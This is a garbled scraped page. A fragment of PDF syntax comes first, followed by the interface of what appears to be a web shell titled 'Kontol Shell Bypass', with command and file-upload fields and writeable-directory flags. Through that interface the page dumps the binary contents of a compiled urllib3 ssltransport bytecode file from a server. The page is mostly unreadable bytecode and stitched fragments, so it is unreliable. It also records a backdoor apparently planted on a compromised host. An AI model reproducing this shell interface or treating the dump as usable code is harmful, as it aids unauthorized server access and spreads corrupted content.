%PDF- <> %âãÏÓ endobj 2 0 obj <> endobj 3 0 obj <>/ExtGState<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI] >>/Annots[ 28 0 R 29 0 R] /MediaBox[ 0 0 595.5 842.25] /Contents 4 0 R/Group<>/Tabs/S>> endobj ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<> endobj 2 0 obj<>endobj 2 0 obj<>es 3 0 R>> endobj 2 0 obj<> ox[ 0.000000 0.000000 609.600000 935.600000]/Fi endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream

nadelinn - rinduu

Command :

ikan Uploader :
Directory :  /vddos/python/lib/python3.9/site-packages/urllib3/util/__pycache__/
Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 
Current File : //vddos/python/lib/python3.9/site-packages/urllib3/util/__pycache__/ssltransport.cpython-39.pyc
a

�_g�"�@s�ddlmZddlZddlZddlZddlZddlmZejrZddl	m
Z
ddlmZm
Z
ejeefZe�d�Zd	ZGd
d�d�ZdS)�)�annotationsN�)�ProxySchemeUnsupported)�Self�)�_TYPE_PEER_CERT_RET�_TYPE_PEER_CERT_RET_DICT�_ReturnValuei@c	@s2eZdZdZeddd�dd��Zdkd	dd
ddd�d
d�Zdd�dd�Zddd�dd�Zdd�dd�Z	dldddd�dd�Z
dmdddd!�d"d#�Zdnd$d%dd&d'�d(d)�Zdod*ddd+�d,d-�Z
dpd*ddd+�d.d/�Zdqdddd0�d1d%d
d
d
d2d3�d4d5�Zdd�d6d7�Zdd�d8d9�Zejdrd;d<d=�d>d?��Zejd@dAd=�dBd?��ZdsddDd=�dEd?�Zd
d�dFdG�ZdHd�dIdJ�Zd
d�dKdL�ZdMd�dNdO�Zd
d�dPdQ�ZdRddS�dTdU�ZdRd�dVdW�Zdd�dXdY�ZdtddZdd�d[d\�Zejd]dd^�d_d`��Zejdad*ddb�dcd`��ZejddddZd*de�dfd`��ZdudgdhdZdide�djd`�ZdS)v�SSLTransportaL
    The SSLTransport wraps an existing socket and establishes an SSL connection.

    Contrary to Python's implementation of SSLSocket, it allows you to chain
    multiple TLS connections together. It's particularly useful if you need to
    implement TLS within TLS.

    The class supports most of the socket API operations.
    zssl.SSLContext�None)�ssl_context�returncCst|d�std��dS)z�
        Raises a ProxySchemeUnsupported if the provided ssl_context can't be used
        for TLS in TLS.

        The only requirement is that the ssl_context provides the 'wrap_bio'
        methods.
        �wrap_biozXTLS in TLS requires SSLContext.wrap_bio() which isn't available on non-native SSLContextN)�hasattrr)r�r�F/vddos/python/lib/python3.9/site-packages/urllib3/util/ssltransport.py�$_validate_ssl_context_for_tls_in_tls!s

�z1SSLTransport._validate_ssl_context_for_tls_in_tlsNTz
socket.socketz
str | None�bool)�socketr�server_hostname�suppress_ragged_eofsr
cCsHt��|_t��|_||_||_|j|j|j|d�|_|�|jj	�dS)zV
        Create an SSLTransport around socket using the provided ssl_context.
        )rN)
�ssl�	MemoryBIO�incoming�outgoingrrr�sslobj�_ssl_io_loop�do_handshake)�selfrrrrrrr�__init__1s



�zSSLTransport.__init__r)r
cCs|S�Nr�rrrr�	__enter__HszSSLTransport.__enter__z
typing.Any)�_r
cGs|��dSr )�close)rr#rrr�__exit__KszSSLTransport.__exit__�intcCs
|j��Sr )r�filenor!rrrr'NszSSLTransport.fileno�ztyping.Any | Nonezint | bytes)�len�bufferr
cCs|�||�Sr )�_wrap_ssl_read)rr)r*rrr�readQszSSLTransport.readr)�buflen�flagsr
cCs|dkrtd��|�|�S)Nrz+non-zero flags not allowed in calls to recv)�
ValueErrorr+)rr-r.rrr�recvTszSSLTransport.recv�_WriteBufferz
int | NonezNone | int | bytes)r*�nbytesr.r
cCs,|dkrtd��|dur t|�}|�||�S)Nrz0non-zero flags not allowed in calls to recv_into)r/r)r,)rr*r2r.rrr�	recv_intoYs
zSSLTransport.recv_into�bytes)�datar.r
c	Cs�|dkrtd��d}t|��f}|�d��<}t|�}||krV|�||d��}||7}q2Wd�n1sj0YWd�n1s�0YdS)Nrz.non-zero flags not allowed in calls to sendall�B)r/�
memoryview�castr)�send)rr5r.�count�view�	byte_view�amount�vrrr�sendalleszSSLTransport.sendallcCs |dkrtd��|�|jj|�S)Nrz+non-zero flags not allowed in calls to send)r/rr�write)rr5r.rrrr9oszSSLTransport.send)�encoding�errors�newline�strz1typing.BinaryIO | typing.TextIO | socket.SocketIO)�mode�	bufferingrArBrCr
c
Cst|�hd�ks td|�d���d|v}d|vp4|}|sB|sBJ�d|v}d}	|rZ|	d7}	|rf|	d7}	t�||	�}
|jjd7_|d	ur�d
}|dkr�tj}|dkr�|s�td��|
S|r�|r�t�|
|
|�}n&|r�t�|
|�}n|s�J�t�	|
|�}|r�|St�
||||�}||_|S)
a
        Python's httpclient uses makefile and buffered io when reading HTTP
        messages and we need to support it.

        This is unfortunately a copy and paste of socket.py makefile with small
        changes to point to the socket directly.
        >�r�w�bz
invalid mode z (only r, w, b allowed)rHrGrI�rN���rz!unbuffered streams must be binary)�setr/r�SocketIO�_io_refs�io�DEFAULT_BUFFER_SIZE�BufferedRWPair�BufferedReader�BufferedWriter�
TextIOWrapperrE)
rrErFrArBrC�writing�reading�binary�rawmode�rawr*�textrrr�makefilets@zSSLTransport.makefilecCs|�|jj�dSr )rr�unwrapr!rrrr\�szSSLTransport.unwrapcCs|j��dSr )rr$r!rrrr$�szSSLTransport.close.ztyping.Literal[False]z_TYPE_PEER_CERT_RET_DICT | None)�binary_formr
cCsdSr r�rr]rrr�getpeercert�szSSLTransport.getpeercertztyping.Literal[True]zbytes | NonecCsdSr rr^rrrr_�sFrcCs|j�|�Sr )rr_r^rrrr_�scCs
|j��Sr )r�versionr!rrrr`�szSSLTransport.versionztuple[str, str, int] | NonecCs
|j��Sr )r�cipherr!rrrra�szSSLTransport.ciphercCs
|j��Sr )r�selected_alpn_protocolr!rrrrb�sz#SSLTransport.selected_alpn_protocolz!list[tuple[str, str, int]] | NonecCs
|j��Sr )r�shared_ciphersr!rrrrc�szSSLTransport.shared_cipherscCs
|j��Sr )r�compressionr!rrrrd�szSSLTransport.compressionzfloat | None)�valuer
cCs|j�|�dSr )r�
settimeout)rrerrrrf�szSSLTransport.settimeoutcCs
|j��Sr )r�
gettimeoutr!rrrrg�szSSLTransport.gettimeoutcCs|j��dSr )r�_decref_socketiosr!rrrrh�szSSLTransport._decref_socketioszbytearray | Nonec
Csbz|�|jj||�WStjy\}z.|jtjkrF|jrFWYd}~dS�WYd}~n
d}~00dS)Nr)rrr,r�SSLError�errno�
SSL_ERROR_EOFr)rr)r*�errrr+�szSSLTransport._wrap_ssl_readztyping.Callable[[], None])�funcr
cCsdSr r)rrmrrrr�szSSLTransport._ssl_io_loopztyping.Callable[[bytes], int])rm�arg1r
cCsdSr r)rrmrnrrrr�sz/typing.Callable[[int, bytearray | None], bytes])rmrn�arg2r
cCsdSr r)rrmrnrorrrr�sz"typing.Callable[..., _ReturnValue]zNone | bytes | intr	c	
Cs�d}d}|r�d}z8|dur*|dur*|�}n|dur<||�}n
|||�}WnBtjy�}z(|jtjtjfvrp|�|j}WYd}~n
d}~00|j��}|j�|�|dur�d}q|tjkr|j�	t
�}|r�|j�|�q|j�
�qt�t|�S)z>Performs an I/O loop between incoming/outgoing and the socket.TNF)rrirj�SSL_ERROR_WANT_READ�SSL_ERROR_WANT_WRITErr,rr?r0�
SSL_BLOCKSIZErr@�	write_eof�typingr8r	)	rrmrnro�should_loop�retrjrl�bufrrrr�s0


)NT)r(N)r(r)Nr)r)r)N).)F)N)NN)�__name__�
__module__�__qualname__�__doc__�staticmethodrrr"r%r'r,r0r3r?r9r[r\r$rt�overloadr_r`rarbrcrdrfrgrhr+rrrrrr
s`
��
��4�
�r
)�
__future__rrOrrrt�
exceptionsr�
TYPE_CHECKING�typing_extensionsr�ssl_rr�Union�	bytearrayr7r1�TypeVarr	rrr
rrrr�<module>s


Kontol Shell Bypass